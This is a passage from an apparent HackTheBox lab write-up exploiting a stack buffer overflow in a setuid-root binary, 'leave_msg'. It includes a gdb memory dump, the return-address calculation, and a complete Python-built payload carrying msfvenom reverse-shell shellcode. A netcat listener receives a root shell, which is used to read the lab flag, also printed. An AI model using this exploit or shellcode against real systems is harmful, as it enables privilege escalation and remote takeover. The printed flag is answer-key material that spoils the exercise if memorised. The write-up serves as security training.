(gdb) x/2150xb $esp+500
0xffffcf58: 0x00 0x00 0x00 0x78 0x2a 0xc2 0xb0 0x8b
0xffffcf60: 0xe1 0xeb 0xbf 0xee 0x83 0x65 0xe2 0xaf
0xffffcf68: 0x84 0x22 0x03 0x69 0x36 0x38 0x36 0x00
0xffffcf70: 0x00 0x00 0x00 0x00 0x00 0x00 0x2f 0x68
0xffffcf78: 0x6f 0x6d 0x65 0x2f 0x68 0x74 0x62 0x2d
0xffffcf80: 0x73 0x74 0x75 0x64 0x65 0x6e 0x74 0x2f
0xffffcf88: 0x6c 0x65 0x61 0x76 0x65 0x5f 0x6d 0x73
0xffffcf90: 0x67 0x00 0x55 0x55 0x55 0x55 0x55 0x55
0xffffcf98: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
```

Buffer start

\*

\*

```
0xfffffd728: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xfffffd730: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
---Type <return> to continue, or q <return> to quit---
0xfffffd738: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0xd9
0xfffffd740: 0xc1 0xba 0xca 0x11 0xc3 0x8b 0xd9 0x74
0xfffffd748: 0x24 0xf4 0x58 0x33 0xc9 0xb1 0x12 0x83
0xfffffd750: 0xe8 0xfc 0x31 0x50 0x13 0x03 0x9a 0x02
0xfffffd758: 0x21 0x7e 0x2b 0xfe 0x52 0x62 0x18 0x43
0xfffffd760: 0xce 0x0f 0x9c 0xca 0x11 0x7f 0xc6 0x01
0xfffffd768: 0x51 0x13 0x5f 0x2a 0x6d 0xd9 0xdf 0x03
0xfffffd770: 0xeb 0x18 0xb7 0xec 0x0b 0xdb 0x46 0x7b
0xfffffd778: 0x0e 0xdb 0x59 0x27 0x87 0x3a 0xe9 0xb1
0xfffffd780: 0xc7 0xed 0x5a 0x8d 0xeb 0x84 0xbd 0x3c
0xfffffd788: 0x6b 0xc4 0x55 0xd1 0x43 0x9a 0xcd 0x45
0xfffffd790: 0xb3 0x73 0x6f 0xff 0x42 0x68 0x3d 0xac
0xfffffd798: 0xdd 0x8e 0x71 0x59 0x13 0xd0 0x66 0x66
0xfffffd7a0: 0x66 0x66 0x00 0x4c 0x53 0x5f 0x43 0x4f
0xfffffd7a8: 0x4c 0x4f 0x52 0x53 0x3d 0x72 0x73 0x3d
```

\*between the red arrows – the shellcode payload (the msfvenom reverse shell). \*

\*between the cyan arrows – the EIP, where should be the return address. (and currently marked by the 66..66. \*

The relevant part for our needs is the address where the payload starts:



We need the address line is 0xffffd738, (which is the address of the left-most byte)

And from it – we count 7 bytes.

$0xffffd738 + 7 = 0xffffd73f$ .

Meaning, our payload begins on the address 0xffffd73f. we will reverse the bytes order, and denote it as '\x3f\xd7\xff\xff'.

**\*Important note** – in the module they did the example with the use of NOPs (no operation instruction) to increase the margin of where we can set the address space (every address of NOP byte should be fine), the reason for that is for the case the return address contains one of the forbidden bytes ('\x00\x09\x0a\x20'). However, this is not the case here – and for our purpose – the NOPs section is not necessary. \*

Now that we have the return address, we will replace the '"\x66" \* 4' with it, and we will executable the binary with our payload, without GDB:

```
./leave_msg $(python -c 'print "\x55" * (2060 - 95) +  
"\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb  
1\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b\xfe\x5  
2\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\xc6\x01\x51\x13\x5f\x2  
a\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46\x7b\x0e\xdb\x5  
9\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb\x84\xbd\x3c\x6b\xc  
4\x55\xd1\x43\x9a\xcd\x45\xb3\x73\x6f\xff\x42\x68\x3d\xac\x  
d\x8e\x71\x59\x13\xd0" + "\x3f\xd7\xff\xff"')
```

```
htb-student@nixbof32skills:~$ ./leave_msg $(python -c 'print "\x55" * (2060 - 95) + "\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\x
xf4\x58\x33\xc9\xb1\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b\xfe\x52\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\xc6\x01\x5
1\x13\x5f\x2a\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46\x7b\x0e\xdb\x59\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb\x84\xbd\x3c\x
6b\xc4\x55\xd1\x43\x9a\xcd\x45\xb3\x73\x6f\xff\x42\x68\x3d\xac\xdd\x8e\x71\x59\x13\xd0" + "\x3f\xd7\xff\xff"')
```

The execution seemingly get stuck...

Lets look at the netcat listner:

```
htb-student@nixbof32skills:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 33520 received!
```

We have a shell!

```
htb-student@nixbof32skills:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 33520 received!
whoami
root
```

‘whoami’ command confirms for us that the shell is indeed a root shell.

\*note – the reason the shell is a root shell is because ‘leave\_msg’ runs with root permissions, and owned by root. \*

Lets proceed to take the flag:

```
htb-student@nixbof32skills:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 33520 received!
whoami
root
cat /root/flag.txt
HTB{wmcaJe4dEFZ3pbgDEpToJxFwvTEP4t}
```

\*note – [this video](#) assisted me a lot with this question. \*